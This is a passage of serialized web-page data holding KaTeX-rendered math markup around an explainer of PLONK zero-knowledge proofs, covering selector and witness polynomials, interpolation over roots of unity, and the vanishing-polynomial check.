",{"type":23,"tag":38,"props":140953,"children":140955},{"className":140954},[2658,2659],[140956],{"type":23,"tag":141,"props":140957,"children":140959},{"className":140958},[2664],[140960],{"type":23,"tag":141,"props":140961,"children":140963},{"className":140962,"ariaHidden":2670},[2669],[140964],{"type":23,"tag":141,"props":140965,"children":140967},{"className":140966},[2675],[140968,140972],{"type":23,"tag":141,"props":140969,"children":140971},{"className":140970,"style":108502},[2680],[],{"type":23,"tag":141,"props":140973,"children":140975},{"className":140974},[2686],[140976,140981],{"type":23,"tag":141,"props":140977,"children":140979},{"className":140978},[2686,20260],[140980],{"type":29,"value":91502},{"type":23,"tag":141,"props":140982,"children":140984},{"className":140983},[2702],[140985],{"type":23,"tag":141,"props":140986,"children":140988},{"className":140987},[2707,20314],[140989,141018],{"type":23,"tag":141,"props":140990,"children":140992},{"className":140991},[2712],[140993,141013],{"type":23,"tag":141,"props":140994,"children":140996},{"className":140995,"style":92061},[2717],[140997],{"type":23,"tag":141,"props":140998,"children":140999},{"style":91588},[141000,141004],{"type":23,"tag":141,"props":141001,"children":141003},{"className":141002,"style":2727},[2726],[],{"type":23,"tag":141,"props":141005,"children":141007},{"className":141006},[2732,2733,2734,2735],[141008],{"type":23,"tag":141,"props":141009,"children":141011},{"className":141010},[2686,20260,2735],[141012],{"type":29,"value":2404},{"type":23,"tag":141,"props":141014,"children":141016},{"className":141015},[20417],[141017],{"type":29,"value":20420},{"type":23,"tag":141,"props":141019,"children":141021},{"className":141020},[2712],[141022],{"type":23,"tag":141,"props":141023,"children":141025},{"className":141024,"style":91615},[2717],[141026],{"type":23,"tag":141,"props":141027,"children":141028},{},[],{"type":29,"value":141030},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":32,"props":141032,"children":141033},{},[141034,141036,141041,141043,141147,141149,141252,141254,141259],{"type":29,"value":141035},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":47,"props":141037,"children":141038},{},[141039],{"type":29,"value":141040},"selector",{"type":29,"value":141042}," values that act as switches: setting ",{"type":23,"tag":38,"props":141044,"children":141046},{"className":141045},[2658,2659],[141047],{"type":23,"tag":141,"props":141048,"children":141050},{"className":141049},[2664],[141051],{"type":23,"tag":141,"props":141052,"children":141054},{"className":141053,"ariaHidden":2670},[2669],[141055,141134],{"type":23,"tag":141,"props":141056,"children":141058},{"className":141057},[2675],[141059,141063,141121,141125,141130],{"type":23,"tag":141,"props":141060,"children":141062},{"className":141061,"style":108422},[2680],[],{"type":23,"tag":141,"props":141064,"children":141066},{"className":141065},[2686],[141067,141072],{"type":23,"tag":141,"props":141068,"children":141070},{"className":141069,"style":92018},[2686,20260],[141071],{"type":29,"value":92021},{"type":23,"tag":141,"props":141073,"children":141075},{"className":141074},[2702],[141076],{"type":23,"tag":141,"props":141077,"children":141079},{"className":141078},[2707,20314],[141080,141110],{"type":23,"tag":141,"props":141081,"children":141083},{"className":141082},[2712],[141084,141105],{"type":23,"tag":141,"props":141085,"children":141088},{"className":141086,"style":141087},[2717],"height:0.3283em;",[141089],{"type":23,"tag":141,"props":141090,"children":141091},{"style":92065},[141092,141096],{"type":23,"tag":141,"props":141093,"children":141095},{"className":141094,"style":2727},[2726],[],{"type":23,"tag":141,"props":141097,"children":141099},{"className":141098},[2732,2733,2734,2735],[141100],{"type":23,"tag":141,"props":141101,"children":141103},{"className":141102,"style":93540},[2686,20260,2735],[141104],{"type":29,"value":93543},{"type":23,"tag":141,"props":141106,"children":141108},{"className":141107},[20417],[141109],{"type":29,"value":20420},{"type":23,"tag":141,"props":141111,"children":141113},{"className":141112},[2712],[141114],{"type":23,"tag":141,"props":141115,"children":141117},{"className":141116,"style":91615},[2717],[141118],{"type":23,"tag":141,"props":141119,"children":141120},{},[],{"type":23,"tag":141,"props":141122,"children":141124},{"className":141123,"style":2863},[2766],[],{"type":23,"tag":141,"props":141126,"children":141128},{"className":141127},[2868],[141129],{"type":29,"value":1377},{"type":23,"tag":141,"props":141131,"children":141133},{"className":141132,"style":2863},[2766],[],{"type":23,"tag":141,"props":141135,"children":141137},{"className":141136},[2675],[141138,141142],{"type":23,"tag":141,"props":141139,"children":141141},{"className":141140,"style":92563},[2680],[],{"type":23,"tag":141,"props":141143,"children":141145},{"className":141144},[2686],[141146],{"type":29,"value":687},{"type":29,"value":141148}," makes a row a multiplication gate, setting ",{"type":23,"tag":38,"props":141150,"children":141152},{"className":141151},[2658,2659],[141153],{"type":23,"tag":141,"props":141154,"children":141156},{"className":141155},[2664],[141157],{"type":23,"tag":141,"props":141158,"children":141160},{"className":141159,"ariaHidden":2670},[2669],[141161,141239],{"type":23,"tag":141,"props":141162,"children":141164},{"className":141163},[2675],[141165,141169,141226,141230,141235],{"type":23,"tag":141,"props":141166,"children":141168},{"className":141167,"style":108422},[2680],[],{"type":23,"tag":141,"props":141170,"children":141172},{"className":141171},[2686],[141173,141178],{"type":23,"tag":141,"props":141174,"children":141176},{"className":141175,"style":92018},[2686,20260],[141177],{"type":29,"value":92021},{"type":23,"tag":141,"props":141179,"children":141181},{"className":141180},[2702],[141182],{"type":23,"tag":141,"props":141183,"children":141185},{"className":141184},[2707,20314],[141186,141215],{"type":23,"tag":141,"props":141187,"children":141189},{"className":141188},[2712],[141190,141210],{"type":23,"tag":141,"props":141191,"children":141193},{"className":141192,"style":141087},[2717],[141194],{"type":23,"tag":141,"props":141195,"children":141196},{"style":92065},[141197,141201],{"type":23,"tag":141,"props":141198,"children":141200},{"className":141199,"style":2727},[2726],[],{"type":23,"tag":141,"props":141202,"children":141204},{"className":141203},[2732,2733,2734,2735],[141205],{"type":23,"tag":141,"props":141206,"children":141208},{"className":141207},[2686,20260,2735],[141209],{"type":29,"value":116496},{"type":23,"tag":141,"props":141211,"children":141213},{"className":141212},[20417],[141214],{"type":29,"value":20420},{"type":23,"tag":141,"props":141216,"children":141218},{"className":141217},[2712],[141219],{"type":23,"tag":141,"props":141220,"children":141222},{"className":141221,"style":91615},[2717],[141223],{"type":23,"tag":141,"props":141224,"children":141225},{},[],{"type":23,"tag":141,"props":141227,"children":141229},{"className":141228,"style":2863},[2766],[],{"type":23,"tag":141,"props":141231,"children":141233},{"className":141232},[2868],[141234],{"type":29,"value":1377},{"type":23,"tag":141,"props":141236,"children":141238},{"className":141237,"style":2863},[2766],[],{"type":23,"tag":141,"props":141240,"children":141242},{"className":141241},[2675],[141243,141247],{"type":23,"tag":141,"props":141244,"children":141246},{"className":141245,"style":92563},[2680],[],{"type":23,"tag":141,"props":141248,"children":141250},{"className":141249},[2686],[141251],{"type":29,"value":687},{"type":29,"value":141253}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":47,"props":141255,"children":141256},{},[141257],{"type":29,"value":141258},"permutation argument",{"type":29,"value":141260}," for that, which we will not cover here.",{"type":23,"tag":8287,"props":141262,"children":141264},{"id":141263},"from-many-checks-to-one",[141265],{"type":29,"value":141266},"From many checks to one",{"type":23,"tag":32,"props":141268,"children":141269},{},[141270,141272,141277,141278,141370,141371,141463,141464,141556,141558,141563,141564,141656,141657,141749,141751,141776,141778,141803,141805,141897,141899,141924,141926,141951],{"type":29,"value":141271},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":47,"props":141273,"children":141274},{},[141275],{"type":29,"value":141276},"witness polynomials",{"type":29,"value":45},{"type":23,"tag":38,"props":141279,"children":141281},{"className":141280},[2658,2659],[141282],{"type":23,"tag":141,"props":141283,"children":141285},{"className":141284},[2664],[141286],{"type":23,"tag":141,"props":141287,"children":141289},{"className":141288,"ariaHidden":2670},[2669],[141290],{"type":23,"tag":141,"props":141291,"children":141293},{"className":141292},[2675],[141294,141298,141355,141360,141365],{"type":23,"tag":141,"props":141295,"children":141297},{"className":141296,"style":2787},[2680],[],{"type":23,"tag":141,"props":141299,"children":141301},{"className":141300},[2686],[141302,141307],{"type":23,"tag":141,"props":141303,"children":141305},{"className":141304,"style":93886},[2686,20260],[141306],{"type":29,"value":31554},{"type":23,"tag":141,"props":141308,"children":141310},{"className":141309},[2702],[141311],{"type":23,"tag":141,"props":141312,"children":141314},{"className":141313},[2707,20314],[141315,141344],{"type":23,"tag":141,"props":141316,"children":141318},{"className":141317},[2712],[141319,141339],{"type":23,"tag":141,"props":141320,"children":141322},{"className":141321,"style":141087},[2717],[141323],{"type":23,"tag":141,"props":141324,"children":141325},{"style":93907},[141326,141330],{"type":23,"tag":141,"props":141327,"children":141329},{"className":141328,"style":2727},[2726],[],{"type":23,"tag":141,"props":141331,"children":141333},{"className":141332},[2732,2733,2734,2735],[141334],{"type":23,"tag":141,"props":141335,"children":141337},{"className":141336},[2686,20260,2735],[141338],{"type":29,"value":116496},{"type":23,"tag":141,"props":141340,"children":141342},{"className":141341},[20417],[141343],{"type":29,"value":20420},{"type":23,"tag":141,"props":141345,"children":141347},{"className":141346},[2712],[141348],{"type":23,"tag":141,"props":141349,"children":141351},{"className":141350,"style":91615},[2717],[141352],{"type":23,"tag":141,"props":141353,"children":141354},{},[],{"type":23,"tag":141,"props":141356,"children":141358},{"className":141357},[20389],[141359],{"type":29,"value":192},{"type":23,"tag":141,"props":141361,"children":141363},{"className":141362},[2686,20260],[141364],{"type":29,"value":17947},{"type":23,"tag":141,"props":141366,"children":141368},{"className":141367},[20411],[141369],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":141372,"children":141374},{"className":141373},[2658,2659],[141375],{"type":23,"tag":141,"props":141376,"children":141378},{"className":141377},[2664],[141379],{"type":23,"tag":141,"props":141380,"children":141382},{"className":141381,"ariaHidden":2670},[2669],[141383],{"type":23,"tag":141,"props":141384,"children":141386},{"className":141385},[2675],[141387,141391,141448,141453,141458],{"type":23,"tag":141,"props":141388,"children":141390},{"className":141389,"style":2787},[2680],[],{"type":23,"tag":141,"props":141392,"children":141394},{"className":141393},[2686],[141395,141400],{"type":23,"tag":141,"props":141396,"children":141398},{"className":141397,"style":93886},[2686,20260],[141399],{"type":29,"value":31554},{"type":23,"tag":141,"props":141401,"children":141403},{"className":141402},[2702],[141404],{"type":23,"tag":141,"props":141405,"children":141407},{"className":141406},[2707,20314],[141408,141437],{"type":23,"tag":141,"props":141409,"children":141411},{"className":141410},[2712],[141412,141432],{"type":23,"tag":141,"props":141413,"children":141415},{"className":141414,"style":141087},[2717],[141416],{"type":23,"tag":141,"props":141417,"children":141418},{"style":93907},[141419,141423],{"type":23,"tag":141,"props":141420,"children":141422},{"className":141421,"style":2727},[2726],[],{"type":23,"tag":141,"props":141424,"children":141426},{"className":141425},[2732,2733,2734,2735],[141427],{"type":23,"tag":141,"props":141428,"children":141430},{"className":141429,"style":121309},[2686,20260,2735],[141431],{"type":29,"value":121312},{"type":23,"tag":141,"props":141433,"children":141435},{"className":141434},[20417],[141436],{"type":29,"value":20420},{"type":23,"tag":141,"props":141438,"children":141440},{"className":141439},[2712],[141441],{"type":23,"tag":141,"props":141442,"children":141444},{"className":141443,"style":91615},[2717],[141445],{"type":23,"tag":141,"props":141446,"children":141447},{},[],{"type":23,"tag":141,"props":141449,"children":141451},{"className":141450},[20389],[141452],{"type":29,"value":192},{"type":23,"tag":141,"props":141454,"children":141456},{"className":141455},[2686,20260],[141457],{"type":29,"value":17947},{"type":23,"tag":141,"props":141459,"children":141461},{"className":141460},[20411],[141462],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":141465,"children":141467},{"className":141466},[2658,2659],[141468],{"type":23,"tag":141,"props":141469,"children":141471},{"className":141470},[2664],[141472],{"type":23,"tag":141,"props":141473,"children":141475},{"className":141474,"ariaHidden":2670},[2669],[141476],{"type":23,"tag":141,"props":141477,"children":141479},{"className":141478},[2675],[141480,141484,141541,141546,141551],{"type":23,"tag":141,"props":141481,"children":141483},{"className":141482,"style":2787},[2680],[],{"type":23,"tag":141,"props":141485,"children":141487},{"className":141486},[2686],[141488,141493],{"type":23,"tag":141,"props":141489,"children":141491},{"className":141490,"style":93886},[2686,20260],[141492],{"type":29,"value":31554},{"type":23,"tag":141,"props":141494,"children":141496},{"className":141495},[2702],[141497],{"type":23,"tag":141,"props":141498,"children":141500},{"className":141499},[2707,20314],[141501,141530],{"type":23,"tag":141,"props":141502,"children":141504},{"className":141503},[2712],[141505,141525],{"type":23,"tag":141,"props":141506,"children":141508},{"className":141507,"style":141087},[2717],[141509],{"type":23,"tag":141,"props":141510,"children":141511},{"style":93907},[141512,141516],{"type":23,"tag":141,"props":141513,"children":141515},{"className":141514,"style":2727},[2726],[],{"type":23,"tag":141,"props":141517,"children":141519},{"className":141518},[2732,2733,2734,2735],[141520],{"type":23,"tag":141,"props":141521,"children":141523},{"className":141522,"style":91532},[2686,20260,2735],[141524],{"type":29,"value":113851},{"type":23,"tag":141,"props":141526,"children":141528},{"className":141527},[20417],[141529],{"type":29,"value":20420},{"type":23,"tag":141,"props":141531,"children":141533},{"className":141532},[2712],[141534],{"type":23,"tag":141,"props":141535,"children":141537},{"className":141536,"style":91615},[2717],[141538],{"type":23,"tag":141,"props":141539,"children":141540},{},[],{"type":23,"tag":141,"props":141542,"children":141544},{"className":141543},[20389],[141545],{"type":29,"value":192},{"type":23,"tag":141,"props":141547,"children":141549},{"className":141548},[2686,20260],[141550],{"type":29,"value":17947},{"type":23,"tag":141,"props":141552,"children":141554},{"className":141553},[20411],[141555],{"type":29,"value":1788},{"type":29,"value":141557}," and the selectors become ",{"type":23,"tag":47,"props":141559,"children":141560},{},[141561],{"type":29,"value":141562},"selector polynomials",{"type":29,"value":45},{"type":23,"tag":38,"props":141565,"children":141567},{"className":141566},[2658,2659],[141568],{"type":23,"tag":141,"props":141569,"children":141571},{"className":141570},[2664],[141572],{"type":23,"tag":141,"props":141573,"children":141575},{"className":141574,"ariaHidden":2670},[2669],[141576],{"type":23,"tag":141,"props":141577,"children":141579},{"className":141578},[2675],[141580,141584,141641,141646,141651],{"type":23,"tag":141,"props":141581,"children":141583},{"className":141582,"style":2787},[2680],[],{"type":23,"tag":141,"props":141585,"children":141587},{"className":141586},[2686],[141588,141593],{"type":23,"tag":141,"props":141589,"children":141591},{"className":141590},[2686,20260],[141592],{"type":29,"value":75287},{"type":23,"tag":141,"props":141594,"children":141596},{"className":141595},[2702],[141597],{"type":23,"tag":141,"props":141598,"children":141600},{"className":141599},[2707,20314],[141601,141630],{"type":23,"tag":141,"props":141602,"children":141604},{"className":141603},[2712],[141605,141625],{"type":23,"tag":141,"props":141606,"children":141608},{"className":141607,"style":141087},[2717],[141609],{"type":23,"tag":141,"props":141610,"children":141611},{"style":91588},[141612,141616],{"type":23,"tag":141,"props":141613,"children":141615},{"className":141614,"style":2727},[2726],[],{"type":23,"tag":141,"props":141617,"children":141619},{"className":141618},[2732,2733,2734,2735],[141620],{"type":23,"tag":141,"props":141621,"children":141623},{"className":141622,"style":93540},[2686,20260,2735],[141624],{"type":29,"value":93543},{"type":23,"tag":141,"props":141626,"children":141628},{"className":141627},[20417],[141629],{"type":29,"value":20420},{"type":23,"tag":141,"props":141631,"children":141633},{"className":141632},[2712],[141634],{"type":23,"tag":141,"props":141635,"children":141637},{"className":141636,"style":91615},[2717],[141638],{"type":23,"tag":141,"props":141639,"children":141640},{},[],{"type":23,"tag":141,"props":141642,"children":141644},{"className":141643},[20389],[141645],{"type":29,"value":192},{"type":23,"tag":141,"props":141647,"children":141649},{"className":141648},[2686,20260],[141650],{"type":29,"value":17947},{"type":23,"tag":141,"props":141652,"children":141654},{"className":141653},[20411],[141655],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":141658,"children":141660},{"className":141659},[2658,2659],[141661],{"type":23,"tag":141,"props":141662,"children":141664},{"className":141663},[2664],[141665],{"type":23,"tag":141,"props":141666,"children":141668},{"className":141667,"ariaHidden":2670},[2669],[141669],{"type":23,"tag":141,"props":141670,"children":141672},{"className":141671},[2675],[141673,141677,141734,141739,141744],{"type":23,"tag":141,"props":141674,"children":141676},{"className":141675,"style":2787},[2680],[],{"type":23,"tag":141,"props":141678,"children":141680},{"className":141679},[2686],[141681,141686],{"type":23,"tag":141,"props":141682,"children":141684},{"className":141683},[2686,20260],[141685],{"type":29,"value":75287},{"type":23,"tag":141,"props":141687,"children":141689},{"className":141688},[2702],[141690],{"type":23,"tag":141,"props":141691,"children":141693},{"className":141692},[2707,20314],[141694,141723],{"type":23,"tag":141,"props":141695,"children":141697},{"className":141696},[2712],[141698,141718],{"type":23,"tag":141,"props":141699,"children":141701},{"className":141700,"style":141087},[2717],[141702],{"type":23,"tag":141,"props":141703,"children":141704},{"style":91588},[141705,141709],{"type":23,"tag":141,"props":141706,"children":141708},{"className":141707,"style":2727},[2726],[],{"type":23,"tag":141,"props":141710,"children":141712},{"className":141711},[2732,2733,2734,2735],[141713],{"type":23,"tag":141,"props":141714,"children":141716},{"className":141715},[2686,20260,2735],[141717],{"type":29,"value":116496},{"type":23,"tag":141,"props":141719,"children":141721},{"className":141720},[20417],[141722],{"type":29,"value":20420},{"type":23,"tag":141,"props":141724,"children":141726},{"className":141725},[2712],[141727],{"type":23,"tag":141,"props":141728,"children":141730},{"className":141729,"style":91615},[2717],[141731],{"type":23,"tag":141,"props":141732,"children":141733},{},[],{"type":23,"tag":141,"props":141735,"children":141737},{"className":141736},[20389],[141738],{"type":29,"value":192},{"type":23,"tag":141,"props":141740,"children":141742},{"className":141741},[2686,20260],[141743],{"type":29,"value":17947},{"type":23,"tag":141,"props":141745,"children":141747},{"className":141746},[20411],[141748],{"type":29,"value":1788},{"type":29,"value":141750},", etc., all interpolated over a domain ",{"type":23,"tag":38,"props":141752,"children":141754},{"className":141753},[2658,2659],[141755],{"type":23,"tag":141,"props":141756,"children":141758},{"className":141757},[2664],[141759],{"type":23,"tag":141,"props":141760,"children":141762},{"className":141761,"ariaHidden":2670},[2669],[141763],{"type":23,"tag":141,"props":141764,"children":141766},{"className":141765},[2675],[141767,141771],{"type":23,"tag":141,"props":141768,"children":141770},{"className":141769,"style":20255},[2680],[],{"type":23,"tag":141,"props":141772,"children":141774},{"className":141773,"style":91766},[2686,20260],[141775],{"type":29,"value":91769},{"type":29,"value":141777}," of ",{"type":23,"tag":38,"props":141779,"children":141781},{"className":141780},[2658,2659],[141782],{"type":23,"tag":141,"props":141783,"children":141785},{"className":141784},[2664],[141786],{"type":23,"tag":141,"props":141787,"children":141789},{"className":141788,"ariaHidden":2670},[2669],[141790],{"type":23,"tag":141,"props":141791,"children":141793},{"className":141792},[2675],[141794,141798],{"type":23,"tag":141,"props":141795,"children":141797},{"className":141796,"style":109373},[2680],[],{"type":23,"tag":141,"props":141799,"children":141801},{"className":141800},[2686,20260],[141802],{"type":29,"value":54883},{"type":29,"value":141804},"-th roots of unity. Evaluating ",{"type":23,"tag":38,"props":141806,"children":141808},{"className":141807},[2658,2659],[141809],{"type":23,"tag":141,"props":141810,"children":141812},{"className":141811},[2664],[141813],{"type":23,"tag":141,"props":141814,"children":141816},{"className":141815,"ariaHidden":2670},[2669],[141817],{"type":23,"tag":141,"props":141818,"children":141820},{"className":141819},[2675],[141821,141825,141882,141887,141892],{"type":23,"tag":141,"props":141822,"children":141824},{"className":141823,"style":2787},[2680],[],{"type":23,"tag":141,"props":141826,"children":141828},{"className":141827},[2686],[141829,141834],{"type":23,"tag":141,"props":141830,"children":141832},{"className":141831,"style":93886},[2686,20260],[141833],{"type":29,"value":31554},{"type":23,"tag":141,"props":141835,"children":141837},{"className":141836},[2702],[141838],{"type":23,"tag":141,"props":141839,"children":141841},{"className":141840},[2707,20314],[141842,141871],{"type":23,"tag":141,"props":141843,"children":141845},{"className":141844},[2712],[141846,141866],{"type":23,"tag":141,"props":141847,"children":141849},{"className":141848,"style":141087},[2717],[141850],{"type":23,"tag":141,"props":141851,"children":141852},{"style":93907},[141853,141857],{"type":23,"tag":141,"props":141854,"children":141856},{"className":141855,"style":2727},[2726],[],{"type":23,"tag":141,"props":141858,"children":141860},{"className":141859},[2732,2733,2734,2735],[141861],{"type":23,"tag":141,"props":141862,"children":141864},{"className":141863},[2686,20260,2735],[141865],{"type":29,"value":116496},{"type":23,"tag":141,"props":141867,"children":141869},{"className":141868},[20417],[141870],{"type":29,"value":20420},{"type":23,"tag":141,"props":141872,"children":141874},{"className":141873},[2712],[141875],{"type":23,"tag":141,"props":141876,"children":141878},{"className":141877,"style":91615},[2717],[141879],{"type":23,"tag":141,"props":141880,"children":141881},{},[],{"type":23,"tag":141,"props":141883,"children":141885},{"className":141884},[20389],[141886],{"type":29,"value":192},{"type":23,"tag":141,"props":141888,"children":141890},{"className":141889},[2686,20260],[141891],{"type":29,"value":17947},{"type":23,"tag":141,"props":141893,"children":141895},{"className":141894},[20411],[141896],{"type":29,"value":1788},{"type":29,"value":141898}," at the ",{"type":23,"tag":38,"props":141900,"children":141902},{"className":141901},[2658,2659],[141903],{"type":23,"tag":141,"props":141904,"children":141906},{"className":141905},[2664],[141907],{"type":23,"tag":141,"props":141908,"children":141910},{"className":141909,"ariaHidden":2670},[2669],[141911],{"type":23,"tag":141,"props":141912,"children":141914},{"className":141913},[2675],[141915,141919],{"type":23,"tag":141,"props":141916,"children":141918},{"className":141917,"style":140783},[2680],[],{"type":23,"tag":141,"props":141920,"children":141922},{"className":141921},[2686,20260],[141923],{"type":29,"value":2404},{"type":29,"value":141925},"-th root recovers the left wire value at row ",{"type":23,"tag":38,"props":141927,"children":141929},{"className":141928},[2658,2659],[141930],{"type":23,"tag":141,"props":141931,"children":141933},{"className":141932},[2664],[141934],{"type":23,"tag":141,"props":141935,"children":141937},{"className":141936,"ariaHidden":2670},[2669],[141938],{"type":23,"tag":141,"props":141939,"children":141941},{"className":141940},[2675],[141942,141946],{"type":23,"tag":141,"props":141943,"children":141945},{"className":141944,"style":140783},[2680],[],{"type":23,"tag":141,"props":141947,"children":141949},{"className":141948},[2686,20260],[141950],{"type":29,"value":2404},{"type":29,"value":322},{"type":23,"tag":141953,"props":141954,"children":141955},"polynomial-interpolation-panel",{},[],{"type":23,"tag":32,"props":141957,"children":141958},{},[141959,141961,142001,142003,142069,142071,142201,142203,142243,142245,142285,142287,142327,142328,142450],{"type":29,"value":141960},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":38,"props":141962,"children":141964},{"className":141963},[2658,2659],[141965],{"type":23,"tag":141,"props":141966,"children":141968},{"className":141967},[2664],[141969],{"type":23,"tag":141,"props":141970,"children":141972},{"className":141971,"ariaHidden":2670},[2669],[141973],{"type":23,"tag":141,"props":141974,"children":141976},{"className":141975},[2675],[141977,141981,141986,141991,141996],{"type":23,"tag":141,"props":141978,"children":141980},{"className":141979,"style":2787},[2680],[],{"type":23,"tag":141,"props":141982,"children":141984},{"className":141983,"style":20261},[2686,20260],[141985],{"type":29,"value":120310},{"type":23,"tag":141,"props":141987,"children":141989},{"className":141988},[20389],[141990],{"type":29,"value":192},{"type":23,"tag":141,"props":141992,"children":141994},{"className":141993},[2686,20260],[141995],{"type":29,"value":17947},{"type":23,"tag":141,"props":141997,"children":141999},{"className":141998},[20411],[142000],{"type":29,"value":1788},{"type":29,"value":142002}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":38,"props":142004,"children":142006},{"className":142005},[2658,2659],[142007],{"type":23,"tag":141,"props":142008,"children":142010},{"className":142009},[2664],[142011],{"type":23,"tag":141,"props":142012,"children":142014},{"className":142013,"ariaHidden":2670},[2669],[142015,142056],{"type":23,"tag":141,"props":142016,"children":142018},{"className":142017},[2675],[142019,142023,142028,142033,142038,142043,142047,142052],{"type":23,"tag":141,"props":142020,"children":142022},{"className":142021,"style":2787},[2680],[],{"type":23,"tag":141,"props":142024,"children":142026},{"className":142025,"style":20261},[2686,20260],[142027],{"type":29,"value":120310},{"type":23,"tag":141,"props":142029,"children":142031},{"className":142030},[20389],[142032],{"type":29,"value":192},{"type":23,"tag":141,"props":142034,"children":142036},{"className":142035},[2686,20260],[142037],{"type":29,"value":17947},{"type":23,"tag":141,"props":142039,"children":142041},{"className":142040},[20411],[142042],{"type":29,"value":1788},{"type":23,"tag":141,"props":142044,"children":142046},{"className":142045,"style":2863},[2766],[],{"type":23,"tag":141,"props":142048,"children":142050},{"className":142049},[2868],[142051],{"type":29,"value":1377},{"type":23,"tag":141,"props":142053,"children":142055},{"className":142054,"style":2863},[2766],[],{"type":23,"tag":141,"props":142057,"children":142059},{"className":142058},[2675],[142060,142064],{"type":23,"tag":141,"props":142061,"children":142063},{"className":142062,"style":92563},[2680],[],{"type":23,"tag":141,"props":142065,"children":142067},{"className":142066},[2686],[142068],{"type":29,"value":2698},{"type":29,"value":142070}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":38,"props":142072,"children":142074},{"className":142073},[2658,2659],[142075],{"type":23,"tag":141,"props":142076,"children":142078},{"className":142077},[2664],[142079],{"type":23,"tag":141,"props":142080,"children":142082},{"className":142081,"ariaHidden":2670},[2669],[142083,142125,142188],{"type":23,"tag":141,"props":142084,"children":142086},{"className":142085},[2675],[142087,142091,142097,142102,142107,142112,142116,142121],{"type":23,"tag":141,"props":142088,"children":142090},{"className":142089,"style":2787},[2680],[],{"type":23,"tag":141,"props":142092,"children":142094},{"className":142093,"style":20792},[2686,20260],[142095],{"type":29,"value":142096},"Z",{"type":23,"tag":141,"props":142098,"children":142100},{"className":142099},[20389],[142101],{"type":29,"value":192},{"type":23,"tag":141,"props":142103,"children":142105},{"className":142104},[2686,20260],[142106],{"type":29,"value":17947},{"type":23,"tag":141,"props":142108,"children":142110},{"className":142109},[20411],[142111],{"type":29,"value":1788},{"type":23,"tag":141,"props":142113,"children":142115},{"className":142114,"style":2863},[2766],[],{"type":23,"tag":141,"props":142117,"children":142119},{"className":142118},[2868],[142120],{"type":29,"value":1377},{"type":23,"tag":141,"props":142122,"children":142124},{"className":142123,"style":2863},[2766],[],{"type":23,"tag":141,"props":142126,"children":142128},{"className":142127},[2675],[142129,142134,142175,142179,142184],{"type":23,"tag":141,"props":142130,"children":142133},{"className":142131,"style":142132},[2680],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":142135,"children":142137},{"className":142136},[2686],[142138,142143],{"type":23,"tag":141,"props":142139,"children":142141},{"className":142140},[2686,20260],[142142],{"type":29,"value":17947},{"type":23,"tag":141,"props":142144,"children":142146},{"className":142145},[2702],[142147],{"type":23,"tag":141,"props":142148,"children":142150},{"className":142149},[2707],[142151],{"type":23,"tag":141,"props":142152,"children":142154},{"className":142153},[2712],[142155],{"type":23,"tag":141,"props":142156,"children":142158},{"className":142157,"style":107249},[2717],[142159],{"type":23,"tag":141,"props":142160,"children":142161},{"style":2721},[142162,142166],{"type":23,"tag":141,"props":142163,"children":142165},{"className":142164,"style":2727},[2726],[],{"type":23,"tag":141,"props":142167,"children":142169},{"className":142168},[2732,2733,2734,2735],[142170],{"type":23,"tag":141,"props":142171,"children":142173},{"className":142172},[2686,20260,2735],[142174],{"type":29,"value":54883},{"type":23,"tag":141,"props":142176,"children":142178},{"className":142177,"style":2767},[2766],[],{"type":23,"tag":141,"props":142180,"children":142182},{"className":142181},[2772],[142183],{"type":29,"value":2746},{"type":23,"tag":141,"props":142185,"children":142187},{"className":142186,"style":2767},[2766],[],{"type":23,"tag":141,"props":142189,"children":142191},{"className":142190},[2675],[142192,142196],{"type":23,"tag":141,"props":142193,"children":142195},{"className":142194,"style":92563},[2680],[],{"type":23,"tag":141,"props":142197,"children":142199},{"className":142198},[2686],[142200],{"type":29,"value":687},{"type":29,"value":142202}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":38,"props":142204,"children":142206},{"className":142205},[2658,2659],[142207],{"type":23,"tag":141,"props":142208,"children":142210},{"className":142209},[2664],[142211],{"type":23,"tag":141,"props":142212,"children":142214},{"className":142213,"ariaHidden":2670},[2669],[142215],{"type":23,"tag":141,"props":142216,"children":142218},{"className":142217},[2675],[142219,142223,142228,142233,142238],{"type":23,"tag":141,"props":142220,"children":142222},{"className":142221,"style":2787},[2680],[],{"type":23,"tag":141,"props":142224,"children":142226},{"className":142225,"style":20792},[2686,20260],[142227],{"type":29,"value":142096},{"type":23,"tag":141,"props":142229,"children":142231},{"className":142230},[20389],[142232],{"type":29,"value":192},{"type":23,"tag":141,"props":142234,"children":142236},{"className":142235},[2686,20260],[142237],{"type":29,"value":17947},{"type":23,"tag":141,"props":142239,"children":142241},{"className":142240},[20411],[142242],{"type":29,"value":1788},{"type":29,"value":142244}," divides ",{"type":23,"tag":38,"props":142246,"children":142248},{"className":142247},[2658,2659],[142249],{"type":23,"tag":141,"props":142250,"children":142252},{"className":142251},[2664],[142253],{"type":23,"tag":141,"props":142254,"children":142256},{"className":142255,"ariaHidden":2670},[2669],[142257],{"type":23,"tag":141,"props":142258,"children":142260},{"className":142259},[2675],[142261,142265,142270,142275,142280],{"type":23,"tag":141,"props":142262,"children":142264},{"className":142263,"style":2787},[2680],[],{"type":23,"tag":141,"props":142266,"children":142268},{"className":142267,"style":20261},[2686,20260],[142269],{"type":29,"value":120310},{"type":23,"tag":141,"props":142271,"children":142273},{"className":142272},[20389],[142274],{"type":29,"value":192},{"type":23,"tag":141,"props":142276,"children":142278},{"className":142277},[2686,20260],[142279],{"type":29,"value":17947},{"type":23,"tag":141,"props":142281,"children":142283},{"className":142282},[20411],[142284],{"type":29,"value":1788},{"type":29,"value":142286},", yielding a quotient polynomial 